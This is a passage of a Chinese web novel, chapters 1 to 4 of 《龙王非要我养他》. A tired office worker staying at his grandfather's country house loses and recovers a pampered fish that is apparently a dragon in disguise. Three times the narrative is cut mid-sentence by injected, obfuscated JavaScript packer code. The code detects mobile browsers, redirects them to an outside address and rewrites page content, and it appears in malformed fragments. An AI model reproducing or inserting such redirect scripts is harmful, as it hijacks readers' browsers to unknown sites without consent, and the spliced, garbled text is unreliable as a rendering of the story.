《龙王非要我养他》 1. 第 1 章 空调风徐徐吹来,抚平炎夏的燥意,但屋内的温度仍旧降不下去,实木沙发旁的电风扇呼啦啦地吹着小风,青年头顶翘起的发丝随风摆动。 青年生得极好,皮肤白皙,唇红齿白,纤长的睫羽轻颤如蝴蝶振翅欲飞,青丝被汗水浸湿黏在额头也丝毫不影响他的容貌,反倒添上一抹惹人怜爱的韵味。 他仰起头,颈脖的曲线如天鹅一般,看着白花花的吊顶,陶清观张开薄唇。 “草,好特么热啊。” 臭老头就知道忽悠他,说什么装了空调,结果装的是水空调,抽得是后院的井水,制冷效果周扒皮看了都得流泪,即使再加一台电风扇,他身上的汗到现在也没吹干。 陶清观一手撑着沙发坐起身,把过了效果的冰凉贴从额头上撕下来,随手扔进垃圾桶里,他双手抱臂,蹙眉望着自己的行李箱。 他上午累死累活,顶着大太阳走了两三站路才走回祖宅,本来他是打算随便找个空房间睡的,可晃了一圈他发现只有大堂内安装了空调,三四十度的天气没空调就是在要他的狗命。 这哪是来度假,这分明是来坐牢的,啊不对,牢房里的冷气说不定都比这里足。 他躺着装了会死,想到东西还没收拾,他认命地起身往楼梯走,把被褥从二楼往下搬。 好在大堂够大,空位置也多,铺一床被褥的地方完全够,接下来的一个月他可以‘愉快’地打地铺了。 难得回祖宅一趟,陶清观看着周边熟悉又陌生的布局,心底有几分怀念,他上次来得有个七八年了。 若不是把自己累上了病床,怕自己英年早逝,陶清观也不会顺从爷爷的建议回到住宅养身体。 不过这里说是祖宅,其实就是个自建房,一共三层楼,装修稍显老旧,但边边角角都很整洁,各式各样的纯木家具坐落其中,也有几分古色古香的韵味。 屋后边就是农田,邻里邻居建的房子也都大差不差,很普通的乡村老房子罢了。 作为一名合格社畜,陶清观爬了几趟楼梯不负众望,扶着墙气喘吁吁,好不容易搞定今晚要睡的地方他已经累得一根手指都不想动了。 可旁边还有位大爷等他伺候,他还不能休息。 陶清观丧着脸爬起来,他走到与周围古朴装修格格不入的豪华鱼缸前,望着里面无忧无虑,畅意肆游的小鱼,他咧嘴一笑,很没道德地开口恐吓。 “今晚就把你红烧。” 小鱼也不知有没有听懂,它晃了下尾巴,游到远离陶清观的角落,它大概巴掌大小,尾巴如绸缎在水中飘逸,鱼鳞圆润富有光泽,随着小鱼摆动身子,折射出五颜六色的白。 “你还躲。” 陶清观嘿了一声,脚步一挪,跟恶霸似的挡在小鱼面前。 小鱼瞥了眼肤白貌美的青年,对方摆出吓唬的表情,可放在那张俊艳的脸上显得毫无威慑力,它在原地顿了一会儿,又游向另一边。 陶清观一个闪身跟过去,小鱼……犹豫了会儿还是陪着换了个方向。 “嘿嘿嘿,你跑不掉的。”陶清观幼稚地敲打靠着小鱼的玻璃,脑袋抵在鱼缸上。 别说,冰冰凉凉的鱼缸贴着还挺舒服的。 陶清观心神被牵引走了,他捂热一块玻璃,又换一块,暴餮天物地将一张俊脸压得奇形怪状。 他趴在玻璃上,盯着小鱼看,小鱼似乎也望着他,不知道小鱼是游累了还是怎么了,尾巴一甩躲到礁石下的水草里,水草是天然的庇护所,小鱼这么一躲,陶清观也看不见了。 陶清观直起身,眉尖一挑,“胆子真小。” 瞧着不太好养,但一个月而已,应该不会养死……吧。 陶清观内心充满不确定,已经在思考,要是养死了,去花鸟市场买个差不多的,能不能糊弄过自家爷爷。 说实话,他都不太信这鱼是自己爷爷养的,因为养得太精细了。 两米长的鱼缸镶在墙上,里面摆着珊瑚贝壳礁石,几株海草随着水流晃悠,其中还有些陶清观不认识的植物,一个小小的鱼缸愣是有种珠光宝气之感,完全不符合他爷爷养东西架势。 爷爷是什么德行,他再清楚不过,养东西基本是不死就行,这点他很有经验。 大概四五岁的时候,爸妈工作忙,把他扔给爷爷养了一段时间。 陶清观记得最清楚的就是他爷爷陶笠鹤带他去摘石榴,老家后的石榴树不知长了多少年,有个三四层楼那么高。 他当时初生牛犊不怕虎,坐在爷爷肩膀上,搂着爷爷脖子,就这么被带了上去。 老石榴树枝干很粗,站一两个人完全没问题,他兴致勃勃地摘石榴,摘到一半发现篮子落家里没带,他手小,摘两个石榴就捧不下了。 陶笠鹤一看石榴拿不下也想起篮子没拿,他一琢磨,对小陶清观说道:“爷爷回去拿篮子。” 然后——陶清观就被自己心大的爷爷留在了石榴树上,看着脚底下的高度,孤零零的他后知后觉感到害怕,小小一只抱着树干瑟瑟发抖,风一吹,他吓得直打嗝。 至此,陶笠鹤的不靠谱在陶清观心底留下了深刻的印象。 对自己孙子尚且如此,养小动物就更不用说了,但现在,在这鱼的衬托下,他这个孙子就像是假的一样。 哦不对,他是真孙子,毕竟得像孙子一样伺候新祖宗。 陶清观被自己想的笑话冷到了,他带着一言难尽的表情,打开手机里的备忘录。 陶笠鹤临走前,千叮咛万嘱咐,逼着陶清观几下备忘录才肯离开,抛去那一大堆废话,陶清观总结出以下几点: 每天早上八点喂一次粮,三种粮必须按照1:3:4配好再投喂。 每三天换一次水,清理一次鱼缸,水必须接后山的泉水。 晚上尽量保持安静,不能打扰鱼休息。 前两条也就算了,可能这品种确实要养精细一点,但这最后一条真是离谱他妈给离谱开门,离谱到家了。 陶清观轻啧一声,摁着键盘把那一行字改成:晚上爱咋咋滴,下班不伺候了。 改完字,陶清观心情舒畅点,他收起手机,蹲下身子,抬手捣鼓鱼缸下面的按钮。 这是个智能鱼缸,陶笠鹤估计是花大价钱钱买的,高档简约的外观看着就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278584|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有个千把块钱的样子,陶清观没在周围找到说明书,索性轮着把按钮摁了一遍,就当试空调遥控器了。 前两个是调节温度,后边是加氧,还有水质监控,灯光调节,一些杂七杂八的功能,陶清观试完还不忘把数值调回去,生怕差那一点,鱼缸里的鱼死给他看。 下边大概有十来个按钮,试到最后一个,陶清观也没多想,抬手摁了下去,过了大概一两秒,鱼缸里没有任何改变,陶清观觉得奇怪,正准备凑近看看,突然听见咔哒一声。 陶清观愣了一下,循声望去,只见鱼缸后壁掀开一块圆形通道,鱼缸里的水哗地一下顺着口子冲出去,躲在水草下的小鱼被水流裹挟,直往通道流。 眼看小鱼要掉出去了,陶清观连忙去按那个按钮,但他连戳几次,通道也不见动静。 陶清观赶急赶慌,手忙脚乱地开盖抓鱼,不等他伸出手,小鱼已经顺着通道冲出去,徒留下空荡荡的鱼缸和陶清观干瞪眼。 水流尽后,通道口发出类似抽水马桶冲完水后,那充满嘲讽性的一声。 嗝~ 陶清观:“……” 看来今天下午就得去花鸟市场了。 这个一键清缸的按钮存在的意义,是为了方便清空鱼缸和他的钱包吗? 陶清观感觉自己还能再抢救一下,他弯腰往通道内看,隐隐约约能看到些许光亮,后边可能还有个水箱之类的东西。 活要见鱼,死要见尸,陶清观撸起自己不存在的袖子,准备把鱼缸搬下来,看看后边究竟是个什么东西。 但他憋红了脸,鱼缸也没移动分毫,努力了三秒,陶清观放弃了。 他看着巍然不动的鱼缸,面无表情地搓了下自己勒出红印的手指,嗯……不值当,这鱼缸说不定比鱼贵,他要是弄坏了,还得赔爷爷一个鱼缸。 陶清观琢磨了会儿,抬脚向屋内走去。 正面行不通,就去找背面,说不定墙后面别有洞天,他绕着墙走,很快就发现一个问题,嵌着鱼缸的墙壁后面根本没有房间,这面墙的后边就是外面。 还挺方便的,废水都不用倒,直接处理了。 陶清观心底咯噔一声,这天气,这温度,鱼要是直接掉外边地上,怕不是晒成鱼干了,怎么……怎么能丢垃圾!至少得放个桶接。 他在心底安慰自己,花鸟市场离这不算远,来回也就一个多小时,要是花鸟市场找不到相似的,网购也来得及,小问题……小、问、题。 怀着忐忑的心情,陶清观走到屋外边,看到一根长长的管子,陶清观松了口气。 还好还好,他爷爷还有点公德心,做了处理废水的地方,就是不知道通到哪里。 陶清观顺着管道往前走,没走两步,他看到一条淙淙流淌的小溪,那根管子的出口就固定在溪水边,此刻还有几滴水从管口滴落,无声彰显着刚刚发生的一切。 而清澈的溪水中央,一条眼熟的小白鱼立在那,它晃了晃尾巴,身上的鳞片在阳光下熠熠生辉。 陶清观陷入沉默。 鱼跑出去探索新世界了,这个借口能糊弄过他爷爷么…… 2. 第 2 章 陶清观感觉要完,他在溪水边蹲下,思考下去徒手捞鱼的可能性,可先不说他捞鱼的技术约等于零,就说这小溪的深度,也不太适合他下去作死。 虽然一直想去花鸟市场换个新的,但陶清观还是有点做人的底线,他决定再挣扎一下。 陶清观溜回老宅,他跑进堆着杂物的房间内,在一堆杂七杂八的东西里翻找。 他记得小时候爷爷带着他捞过鱼,家里应该有捞鱼用的渔捞网,只是这么多年过去了,陶清观也不确定东西在哪。 他扒拉开上边的杂物,积淀已久的灰尘四处飘扬,陶清观呛得咳嗽了两声,他抬手在眼前摆了摆,扫去冲到面前的灰尘,猫着腰往里面钻。 这时一根长竹竿闯入陶清观的视野,他眼睛一亮,伸手把竹竿从后边拽了出来。 噼里啪啦一阵响,竹竿终于重见天日,陶清观望着竹竿绑着的小铁桶,感觉有那么一丝不对劲,但担心鱼跑了,他也没多想,扛着竹竿往外赶。 等铁桶浸没溪水中,熟悉的阻力感传来,陶清观终于反应过来是哪不对劲了。 他手里拿的不是捞网,是以前挖粪坑施肥用的铁勺子。 陶清观:“……” 也差不多……吧。 反正这么多年没用了,上面也没什么不明物体,瞧着挺干净的。 陶清观掂了下竹竿,不重,但铁桶有点小,就很考验他捞鱼的技术。 他紧盯着溪水里的小鱼,以迅雷不及掩耳之势一竹竿捅过去,溪水溅得老高,他这一下快准狠,结果自然是——捞空了。 看着施施然游到对岸,没受一丝影响的小鱼,陶清观嘿了一声,他就不信了,区区一条巴掌大的鱼,他还能抓不到。 陶清观抬起竹竿,悄悄靠近小鱼所在的方向,这竹竿挺长的,比溪水宽还长上一些,陶清观感觉能捞着鱼的概率不小。 待铁桶沉入水中,陶清观屏住呼吸,缓缓将桶往前靠,他放慢了动作,眼看桶快接近小鱼,他倏然用力,又是一次水花四溅,捞上来空空如也。 陶清观心底那点胜负欲激起,跟水里的鱼杠上了。 他踩着溪边的石头,换了个他认为更靠谱的角度,鬼鬼祟祟举起手里的竹竿,看准时机,迅速出手。 空! 空! 还是空! 陶清观忙出一身汗,棉质的汗衫黏在身上,身体的曲线若隐若现,旁边知了吵个不停,令人心情烦躁,他抬手胡乱擦了几下脸,面颊上晕着红彤彤的两坨。 不行了,再待下去要中暑了。 陶清观长吁一口气,望着悠然游在水中的小鱼,眼神充满怨念,这鱼怕不是成精了,怎么那么难捉。 最后一次,捞不上来就下次一定。 陶清观握着竹竿的胳膊有点手有点酸,胳膊也有些僵硬,他甩甩手,再次把铁桶沉下去,等角度差不多,唰地提起。 他兴趣缺缺地往铁桶里看,又是……等等! 这次有鱼了! 陶清观瞬间精神,他把铁桶放在地上,探头凑过去看,铁桶里游着一尾鱼,也是巴掌大小,但颜色有那么亿点点不对劲。 他丢的那条通身雪白,鱼尾甚至有些许透明,而眼下这条说白也白,但背上是黑的,区别很明显,至少一样看过去绝对不会弄错。 好像也许大概应该,他捞错鱼了…… 陶清观不信邪,三两步挪回溪边,就在他捞起桶中那条鱼的旁边,一条银白的小鱼静静地待在那,一个圆润的泡泡从对方口中吐出,在靠近水面时骤然破裂。 此时无声胜有声。 陶清观后槽牙咬紧,瞪了眼怡然自得的小鱼。 #%#&*……今晚就吃红烧鱼。 陶清观气呼呼,想走又不甘心,他捞过旁边的竹竿,准备再战,却不想听见清脆的一声响,他一愣,回过头看见手里还剩半截竹竿。 久经粪场的竹竿还是战损了。 这下好了,鱼没捞着,还赔了个竹竿子进去,真是赔了夫人又折兵。 陶清观心情郁闷,捞鱼工具没了,想继续都没法子,他一手托着下巴,汗水顺着发丝滴落,砸在睫羽上,视线变模糊,他伸手揉了揉眼睛。 汗水被揉进眼中,酸酸涩涩的感觉让陶清观沁出生理泪水,他又揉了几下,等松开手,眼眶红了一圈,跟哭了似的,看着委屈巴巴的。 陶清观没在意,他搓了下滚烫的脸颊,决定打道回府,他刚站起身,在溪水中央的小鱼嗖的一下蹿了过来,陶清观动作一顿。 小鱼与他之间的距离只剩下不到半米,他一伸手就能够到。 陶清观跟水里的鱼大眼瞪小眼,在原地愣了半晌,他试探性地伸出双手,动作轻柔地将手置于小鱼身下,见小鱼没有逃跑的迹象,他悄悄将双手合拢,小鱼被他困在掌心中。 鱼尾扫过掌心,带来些许痒意,陶清观眨了眨眼,不敢相信自己奋战大半天,最后居然这么轻易把鱼捉住了。 他捧着鱼起身,掌心兜了半捧水,虽然他已经并得紧,但还是有水顺着指缝流出,陶清观转身想把小鱼放进铁桶里,可他腰才弯下去一点,手里的鱼突然扑棱了一下,把水甩到了陶清观脸上。 陶清观只当小鱼不舒服,接着把鱼往桶里放,下一秒,他又被甩了一脸水,手里的鱼还跳到指尖边缘,距离蹦回溪水里重获自由,只差一步之遥。 他连忙把鱼往回捞,却不想脚下一个踉跄,溪边的石头本就光滑,他结结实实摔了个屁墩,小鱼掉在他腹部,身前的衣服被完全打湿。 陶清观痛得倒吸一口凉气,嘶了好几声才缓过来,他摸了下自己的尾椎骨,按照他的经验判断应该没碎,就是屁股后面得青几天。 他低头去看小鱼的情况,方才还闹腾的鱼,这会儿倒是安稳了,这个高度,又有他做肉垫,估摸着没什么事,他没好气地戳了下鱼肚子,嘴里嘟囔道:“就你会折腾人。” 陶清观捞起鱼,抬手想放到旁边的桶里,结果鱼又蹦腾了一下,摔回他身上。 看着衣服上的鱼,陶清观面色变得有些古怪,他试探着把鱼往桶边挪,那鱼就跟有鬼在身后追似的,啪叽又跳回去。 “咦?你还挑上了。” 陶清观噗嗤笑了一声,起身从溪水边又捧了点水,他一手捧着鱼,一手拿桶和竹竿,快步往回走,清冽的嗓音中带着些笑意,“不为难你了,你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278585|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别把自己干死。” 他走回大堂,鱼缸里没有水,他左顾右盼,最后匆匆把鱼放进自己喝水用的马克杯里。 小鱼落回水中,跟没事鱼似的抖了下尾巴,短暂地缺水并没有影响到它。 陶清观提着的那口气总算放了下来,他手欠地晃了下杯子,开口道:“你该庆幸我没喝可乐。” 可乐鸡翅好吃,可乐鱼味道说不定也不错。 鱼听不懂,鱼脑袋换了个方向。 陶清观对鱼的智商不了解,但眼前似乎还挺聪明的,他嘬嘬两声企图吸引小鱼的注意力,嘴里嘀咕着,“建国后可不许成精。” 鱼:“……” 陶清观逗了半天,小鱼没再给他反应,他感觉有些无趣,直起身去忙活其他事。 他翻看备忘录,准备把鱼缸里的水先添上,这水还得是后山泉水,后山就是个小土坡,泉水流出的地方离老宅后门不远,陶清观花了半个小时把鱼缸填满,三天换一次,接下来三天他可以躲懒了。 陶清观活动了下胳膊,以今天的劳动量,明天胳膊八成会痛,加上他屁股现在还疼着呢,伤上加伤啊。 说好来乡下休息度假的,这比上班还累。 陶清观颇有些生无可恋地瘫往沙发上一趴,整个人失去了世俗的欲望,他目无聚焦的望着前方,思考回来究竟是不是个正确的决定,这时肚子发出响亮的一声,在空旷的大厅内回荡。 好饿哦。 陶清观看了眼挂在墙上的钟表,四点半了,到现在他午饭还没吃到嘴,再晚一点就是吃晚饭了。 唉。 最终对食物的欲望战胜摆烂的心,陶清观勉强爬起来拿过手机,点外卖吧,他实在没力气做饭了。 把定位改到当前地址,空荡荡的界面出现在陶清观眼前,陶清观皱起眉头,心底吐槽道:什么破网,半天转不出来一家店。 他退出重进,连着几次也没店家出来,陶清观眉头越皱越深,他把手机举起来,试图加深与5G的羁绊,眼看信号变成满格,界面内还是没有店家出来,陶清观心凉了一半。 不能吧,不可以吧,不要啊。 陶清观切出界面,打开短视频,一刷一个准,流畅如德芙,不带丝毫卡顿,看着视屏里令人食指大动的美食,陶清观木着的脸更冷了。 他该想到的,这个狗不拉屎的鸟地方根本不在外卖配送范围内。 陶清观仰头往后一倒,双手交握在小腹前,默默合上眼睛。 累了,毁灭吧。 陶清观想长眠不起,但饥肠辘辘的肚子叛逆地出来找存在感,再加上身上的衣服今天湿了又干,干了又湿,味道实在算不上好闻,即使没洁癖,陶清观多少也有点嫌弃自己。 他长长叹了口气,拖着疲惫的身子爬起来。 家里就自己一个人在,陶清观很自然地把上衣脱了,莹白的肌肤暴露在空气中。 他体型偏瘦,后背的肩胛骨清晰可见,如蝴蝶振翅欲飞,平坦的小腹不带一丝赘肉,细看能看出点腹肌的轮廓。 身体白白的,两点粉粉的。 沉在鱼缸底的小鱼短暂地僵硬了一下,呼啦转了个身,面壁思过去了。 3. 第 3 章 陶清观进浴室洗澡,大夏天里洗完出来也不知道身上是水还是汗,他穿着个大花裤衩,赤luo着上半身走回大堂。 虽然大堂的空调也很废物,但聊胜于无。 陶清观脑袋上顶着毛巾,一手擦着半干不湿的头发,一边在大堂内晃悠。 爷爷临走前给他留了不少食材,部分存在了冰箱里,一些不容易坏的摞在大堂角落,家门口还种着常见的青菜,小葱之类,做饭很方便。 陶清观掏出一颗土豆在手里掂量了一下,余光瞥见鱼缸内藏在水草中鬼鬼祟祟的小鱼,他勾唇一笑,“暂时不吃你,你是后备粮。” 家里除了他,就小鱼一个活的,天选唠嗑对象。 鱼:“……” 它圆润的眼眸微微闪烁,看着水珠顺着陶清观的发丝滴落,在白皙的肌肤上留下一道透明的水痕,水珠沿着蜿蜒的曲线一路向下,最后消失在沟壑之中。 鱼皱起不存在的眉心。 成何体统。 陶清观逗弄完无辜的小鱼,拿着土豆往厨房走,决定今晚吃醋溜土豆丝和西红柿炒鸡蛋。 他做饭的手艺不差,甚至可以说是挺好的,但平常一个人在家,他没心思做,一般点外卖糊弄一下,现在外卖没了,只能自己动手丰衣足食。 陶清观拿下砧板,利落地给土豆剥皮切丝,拍蒜起锅热油。 蒜末倒入滚烫的油锅里,那香味腾一下就上来了,霎时间,厨房内升起烟火气息。 两道都是快手菜,不一会儿就出锅了,陶清观端着菜上桌,又盛了一碗提前煮好的饭,愉快地享用自己的劳动成果。 大锅做出来的菜有种特殊的好吃感,陶清观满足地扒了口饭,盘算着冰箱里有排骨,冻鸡,明天还能熬个汤喝。 陶清观靠着椅背,这个角度正好是观赏鱼缸的最佳位置,他见小鱼看着自己,欠欠地开口,“看也没用,你没得吃。” 鱼沉默地与陶清观对视,最终留给对方一个孤冷的背影。 陶笠鹤家的小孩,预料之中的不老实。 初来老宅的这一天,陶清观虽然忙,但他也累,他还不知道忙了个什么东西。 陶清观撑不住,早早就睡了,众所周知,人白天很累的情况下,晚上是会打呼噜的,陶清观也不能幸免。 漆黑的大堂内回响着他的呼噜声,起起伏伏,十分有规律,还伴随着一两句听不清的梦中呓语,原本寂静的夜晚就这么热闹了起来。 宴氿那张看不出表情的鱼脸上透着睡不着觉的麻木,它又是往礁石里藏,又是往水草里躲,可呼噜声跟催债似的追着他,陶清观的存在感强到他难以忽视。 夜,还很长,他牵扯着他的脆弱的神经末梢,缠缠绵绵,两个人的夜晚,一个人的不眠夜~ …… 阳光洒落大地,打下一圈暖黄色的光晕,晨露被蒸发,清晨的那点凉意眨眼间荡然无存,外面水泥地晒得像热好的煎锅,而屋内勉勉强强维持在一个舒适的温度。 哐哐哐几下敲门声吵醒陶清观,他迷迷糊糊地睁开眼,望着陌生的天花板,一时间分不清今夕是何年。 脑子卡顿了好一会儿才开机成功,陶清观打了个哈欠,心底疑惑,他在这虽然算不上人生地不熟,但最多也就个三分熟,有谁会一大早跑来找他? 陶清观坐起身,抬手挠了挠头,动作间毛毯滑落,身上骤然一凉,陶清观下意识低头,发觉自己没穿上衣,他拿过挂在沙发边的衣服套上。 穿衣服的时候,酸痛感自肌肉传来,尾椎骨那更是碰一下都疼,一件衣服,陶清观穿得龇牙咧嘴,他哎哟两声,咬着牙活动了好几下身子才觉得好点。 敲门声一阵接着一阵,门外的人好像不打开门就誓不罢休。 陶清观眉心微微皱起,这架势,不会他爷爷是欠人钱了,现在债主找上门了吧。 大门上没有猫眼,陶清观握着门把,悄悄打开一条缝,他从缝隙中向院中看去,院墙的铁栅栏外,是几位面容和蔼的中年人,其中有些人陶清观曾见过,和爷爷关系不错。 但这些人一大清早,手拎着水果蔬菜,跑来这做什么? 陶清观心底疑惑,他走出门,来到铁门前,把门打开,所有人的目光立即汇聚在他身上,陶清观不太自然地开口道:“你们是来找我爷爷吗?他出去了,最近不会回来。” “不是。”一位举止优雅的女性笑着开口,“你是小清观吧,几年不见,都长这么俊了,还记得我吗?你小时候我还抱过你呢。” 她旁边身着白色衬衫的男人扶了下眼镜,接着开口,“听你爷爷说你把身子累垮了,年轻人不要那么拼命,得注意休息。” “是啊。”胖一点的中年男人语气熟稔,“你得好好休息,补补身子,来这些葡萄拿着,叔家里种的,包甜的。” “还有这个西瓜。” “姨家种的菜你也拿点。” “小伙子太瘦了,要好好吃饭啊……” “……” 众人七嘴八舌,把东西往陶清观怀里塞,压根没给陶清观拒绝地机会。 陶清观连连推拒,“爷爷给我留了吃的,用不上这些,诶,大姨你别走啊!” 他怀里捧着西瓜,右胳膊上挂着菜篮子,左胳膊夹着小南瓜,脚下还摆着各式各样的塑料袋子,整个人动弹不得。 陶清观傻眼了,他肩膀被人拍了一下,扭过头就看见一笑眯眯的大叔望着自己。 “长者赐不可辞。”胖大叔又拍了两下陶清观的肩膀,“记得给你家那条鱼也喂点,它什么都能吃,你爷爷不在,你可别亏待它。” 陶清观:“?” 不是,他爷爷养条鱼这么兴师动众,全村人都知道了? “叔,我吃不掉这么多,你们拿回去点。”陶清观牵强地扯了下嘴角,“那鱼巴掌大,就算加上它,也吃不完。” “没事,你留着慢慢吃。”胖大叔把自己带着食物往陶清观怀里一摞,乐呵呵地打了声招呼,转身走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278586|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人四散而去,徒留陶清观一脸茫然地站在原地。 他的视线在一地的食材,和众人远去的背影中来回移动。 就……挺突然的,乡下的大家都这么热情吗? 这些东西显然没法再还回去,放院子里,要不了多久就会被大太阳晒蔫吧了,陶清观无奈地将东西往家里搬,边搬,他边给自家爷爷发消息,将刚刚发生的事告诉对方。 末了,陶清观不忘补上一句: 那鱼究竟是什么情况?你从哪搞来的? 陶笠鹤估计是在忙,等陶清观把所有东西搬完了,他才慢悠悠地回了一条语音消息: 你别管他们,他们给东西你就拿着,至于喂不喂鱼,你看着办,但你自个少吃点,那些东西农药超标,吃多了要进医院的。 陶清观听完消息,欲言又止,欲止又言,他低头去看搬进来的东西,一个个新鲜饱满,连个虫眼都没有,确实有那么亿点像被过量农药滋润过的样子。 虽然觉得爷爷说的不靠谱,但陶清观还是放下了靠到嘴边的苹果,他决定了,等洗过之后再吃。 他往地铺走,想睡个回笼觉,余光瞥见墙角边缘的铁桶,他恍然想起昨天误抓上来的那条鱼还没处理。 陶清观走到铁桶前,过了一夜,桶里的鱼精神瞧着不太行,半天不动一下,他蹲下身子,戳了下鱼背,鱼甩了下尾巴,勉强转了身。 巴掌大的小鱼没什么肉,处理起来还麻烦,陶清观想了想,把鱼捞出来放进鱼缸里。 他拍了拍小白鱼身前的玻璃,开口道:“给你找了个舍友,你们好好相处。” 宴氿停在礁石上,看着蠢到连自己威压都感受不到的菜鱼,它懒得理会,这种鱼连它的食谱都没资格上。 一晚上没睡,宴氿精神不济,趁这会儿还算安静,它准备小睡一会儿,却不想它刚有点睡意,身侧就被撞了一下,它没有防备,撞上了一旁的礁石。 宴氿转身望去,对上斗志昂扬的蠢鱼,对方摇着尾巴,似乎是想和自己决一死战。 宴氿:“……”你和放你进来的那个小孩,一样讨厌。 陶清观坐在地铺上咯咯笑着,嘴里说着风凉话,“它好像还挺喜欢你的,小白可别欺负人家。” 小白·宴氿:“……” 陶清观躺下来玩手机,玩着玩着困意消了一半,他瞄了眼时间,差不多到给小白喂食的点了。 他小心翼翼避开尾椎骨站起来,不一会儿带着一盆鱼粮走回鱼缸前。 陶清观打开鱼缸的盖子,框一下把鱼粮倒进去,考虑到鱼缸里新添了一条鱼,他贴心的多加了些鱼粮。 “小黑你多吃点,多养点肉。” 小黑是陶清观给新来的鱼取的名字,好听又好记,关键是还和小白有cp感。 宴氿避开抢食的小黑,吃着角落里的鱼粮,它抬眸瞥了眼趴在鱼缸前的陶清观。 如果它没看错,这小孩刚刚盯着人家小黑,咽口水了吧…… 4. 第 4 章 陶清观的目光追随着小黑,脑子里闪过一条条菜名,酸菜鱼,红烧鱼,清蒸鱼…… 小白他动不了,这小黑他还不能吃么。 陶清观擦了下嘴角不存在的口水,感觉日子又有盼头了。 想着一道道菜,陶清观肚子有点饿了,鱼有鱼粮吃,他却没早饭,太惨了。 陶清观轻啧一声,去食物堆里扒拉,鉴于他爷爷的警告,他决定先吃西瓜,反正西瓜皮他又不吃,农药吃不进肚里。 刀一切,红艳艳的瓜瓤露出来,陶清观挖了一块放进嘴里,汁水爆开,甜丝丝的,他满意地眯起眼睛。 夏天最大的快乐,大概就是在空调底下,边吃西瓜,边看电视。 不过大堂内没有电视,新买的85寸大电视被他爷爷挂在了卧室,陶清观自然不可能去没有空调的地方,所以只能用平板凑合了。 平板内的角色打得热火朝天,陶清观惬意地靠着抱枕,总算有点度假的样子。 人生的意义果然在于虚度光阴,一整天吃吃喝喝睡睡不要太爽。 到了晚上,陶清观心血来潮,给自己做了一大桌子菜,其中他用了不少早上收到的食物,考虑到安全问题,陶清观特地用开水多烫了几遍。 他坚持认为,抛去剂量谈毒性就是耍流氓,食材再走一遍油锅,管他有没有毒,毒性都失效了。 更何况这些菜看着像自家种的,农药放得再多,也不可能是致死量,陶清观怀疑他爷爷是夸大其词。 陶清观拉开椅子坐下,一大桌子菜只有他一个人吃显得有些冷清,但陶清观毫不介意,他端起碗,嚼嚼嚼嚼嚼。 吃到一半,发现鱼缸里的两条鱼对着自己,陶清观嘴一咧,笑着举起杯中的西瓜汁,对着鱼缸的方向敬了一下。 “想吃不,嘿,你们吃不了。” 宴氿循声瞥了眼某个欠揍的家伙,对方拿着筷子大快朵颐,从对方愉快的神情中,不难看出菜品的味道不错,只是这份量, 它看着陶清观一口接一口地夹着菜,神色莫名,陶笠鹤怎么教的小孩,这份量陶笠鹤自己吃了都有够呛的。 陶清观没注意到宴氿的异常,他心情不错,一不小心就吃撑了,他把剩下的菜放进冰箱,在大堂里溜达着消食。 菜吃多了,他感觉有些渴,正巧送来的食物里有饮料,陶清观顺手拿了一瓶。 透明的玻璃瓶中装着紫红色的液体,一打开浓郁的葡萄味扑面而来,陶清观抿了一口,眼睛瞬间亮了。 这葡萄汁比他在超市里买的好喝多了,自家做的就是不一样。 陶清观拿着瓶子多喝了几口,一股暖流传向四肢百骸,身体内洋溢着一种舒坦的感觉。 他也不散步了,在地铺上盘腿坐下,优哉优哉地喝果汁。 陶清观第一次发现,原来喝果汁也能上头,甘甜爽口的口感在味蕾绽放,身体轻飘飘的,好像所有的污秽都被洗涤干净,他喟叹一声,没忍住又喝了一口。 脑袋渐渐变得晕乎乎的,视野内的物品也出现重影,陶清观后知后觉感觉不对劲,他虚起眼眸,凑到瓶口闻了一下,嘴里嘟囔着: “奇怪,也没酒味啊。” 他语气不确定,又嘬了一口,“嗯……是饮料,嘿嘿~” 陶清观白净的面颊上漫上红晕,眼眸中有雾气氤氲,他不太清醒地甩了甩脑袋,原本令他舒适的暖意,这会儿跟野火燎原似的,烧得他浑身难受。 他感觉自己被扔进了炼丹炉,只是他没猴哥的本事,都要被烧熔化了。 “好热。”陶清观喃喃自语,他拽着衣领,一把将上衣脱了,只脱上衣他还觉得不够,可抓了几下全是空气,身上已没有衣服可脱。 他眼神迷离地望着四周,目光落在鱼缸处,热得冒烟的脑子想出一个绝妙的主意,把脑袋放进去就凉快了。 陶清观摇摇晃晃地站起来,朝着自己的目标前进,他注意力全在鱼缸上,一个不小心被脚下的空调被绊倒,好在是摔在地铺上,陶清观也没觉得疼。 他茫然地看着把自己绊倒的被子,像是没搞清楚情况,但陶清观向来不喜欢为难自己,想不清楚,他就放弃了,手撑着地想再爬起来。 